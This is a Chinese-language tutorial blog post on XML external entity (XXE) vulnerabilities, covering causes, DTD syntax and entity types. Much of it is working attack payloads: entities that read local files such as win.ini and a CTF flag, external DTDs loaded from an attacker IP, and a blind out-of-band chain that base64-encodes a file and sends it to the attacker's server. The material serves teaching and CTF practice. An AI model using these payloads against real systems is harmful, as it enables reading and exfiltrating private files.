XXE漏洞详情篇

XXE漏洞

利用数据格式造成攻击

1、造成XXE的原因

运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE);

2、定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

3、利用漏洞条件

(即参数有没有过滤)

  • libxml是否小于2.9.1(不管libxml_disable_entity_loader选项怎么样都直接可以用)

  • 或者libxml_disable_entity_loader选项设置成了False。(高版本默认是true用不了,如果大意设置为了flase那么依然可以用)

注意编码主要针对无回显

4、XXE使用

  • 通过xxe读取目标文件内容,一般就是这么用,读的就是/etc/password文件,执行操作系统命令是不现实的。(xml协议不支持命令执行,php协议可以,具体的命令执行还是读文件是根据协议走的)

5、XXE挖掘及扩展

1、抓包看accept头是否接受xml

找xxe:带参数的地方,看accept的头有没有application/xhtml+xml即有没有xml格式的提交数据;支持xml就开始测参数(就像注入一样带入语句脚本),直接POST包下面交数据代码

<?xml version = "1.0"?> <!DOCTYPE ANY [     <!ENTITY f SYSTEM "file:///C://1.txt"> ]> <x>&f;</x>

2、抓包修改数据类型,把json改成xml来传输数据

一道ctf题:http://web.jarvisoj.com:9882/

挖洞的时候有时候可能:看头中json会不会造成xxe

如果遇到这种情况的话,json传输数据可以直接修改为xml,然后添加xml数据内容,放包。

例如原本的数据吧是这样的:

在这里插入图片描述

但当改为xxe进行文件读取:

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&f;</x>

在这里插入图片描述

5、DTD基础知识

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

参考链接: http://www.w3school.com.cn/dtd/index.asp

构建xxe的payload达成攻击

首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下PAYLOAD开头进行了XML的声明,然后使用DTD声明实体(这里使用了file协议),最后使用XML获取实体的数据。

基本的PAYLOAD结构:

在这里插入图片描述

中间部分就是DTD部分,两头是xml代码

使用DTD实体的攻击方式

DTD 引用方式(简要了解):

  1. DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>

2. DTD 外部引用

<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">

3. 引用公共DTD

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

举例:

<?xml version="1.0"?>  
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;

DTD 实体声明:

1. 内部实体声明

<!ENTITY 实体名称 "实体的值"> 

一个实体由三部分构成:&符号, 实体名称, 分号 (😉,这里&不论在GET还是在POST中都需要进行URL编码(地址栏的话,浏览器默认URL编码了),因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "This is a text">]>
<foo>&xxe;</foo>

在这里插入图片描述

2. 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:在这里插入图片描述

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

在这里插入图片描述

3. 参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

4. 引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

实例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

在这里插入图片描述

6、实体类别介绍

实体主要分为一下四类:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体用%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

举例:

	* 内部实体
<!ENTITY 实体名称 "实体的值">
  • 外部实体
<!ENTITY 实体名称 SYSTEM "URI/URL">
  • 参数实体
<!ENTITY % 实体名称 "实体内容">

​ 或者

<!ENTITY % 实体名称 "URI">

注意:参数实体是在DTD中被引用的,而其余实体是在xml文档中被引用的。

总结

调用外部实体就是为了绕开设置的防止回显

7、XXE攻击类别及实例

有回显

可以用下面的两种方式:(直接使用外部实体调用file://函数去读取本地文件,或者建立dtd文件进行远程协议调用文件。)

  •   <!DOCTYPE foo [<!ELEMENT foo ANY >
      <!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
      <foo>&xxe;</foo>
    

在这里插入图片描述

  •   <!DOCTYPE foo [<!ELEMENT foo ANY >
      <!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil2.dtd" >
      %xxe;]>
      <foo>&evil;</foo>
      
      其中外部链接的evil.dtd中内容为:(这里攻击服务器地址为:192.168.18.70:86)
      <!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
    

在这里插入图片描述

无回显

建立一个dtd文件,在远程服务器上放入dtd文件,利用以后如果无报错就需要查看数据日志文件信息,可以看到base64编码后的数据。

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)192.168.18.23。

攻击的payload如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://192.168.18.23/xxe/xxe2/test.dtd">
%remote;%int;%send;
]>

test.dtd的文件内容如下:读取的文件内容进行了base64编码

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windwos/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.18.23?p=%file;'>">

实际效果如下:

在这里插入图片描述

注意:无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。(这是得知道目标日志存储的位置)

在这里插入图片描述

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错。

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

posted @ 2021-01-28 16:22  Jeromeyoung  阅读(813)  评论(0编辑  收藏  举报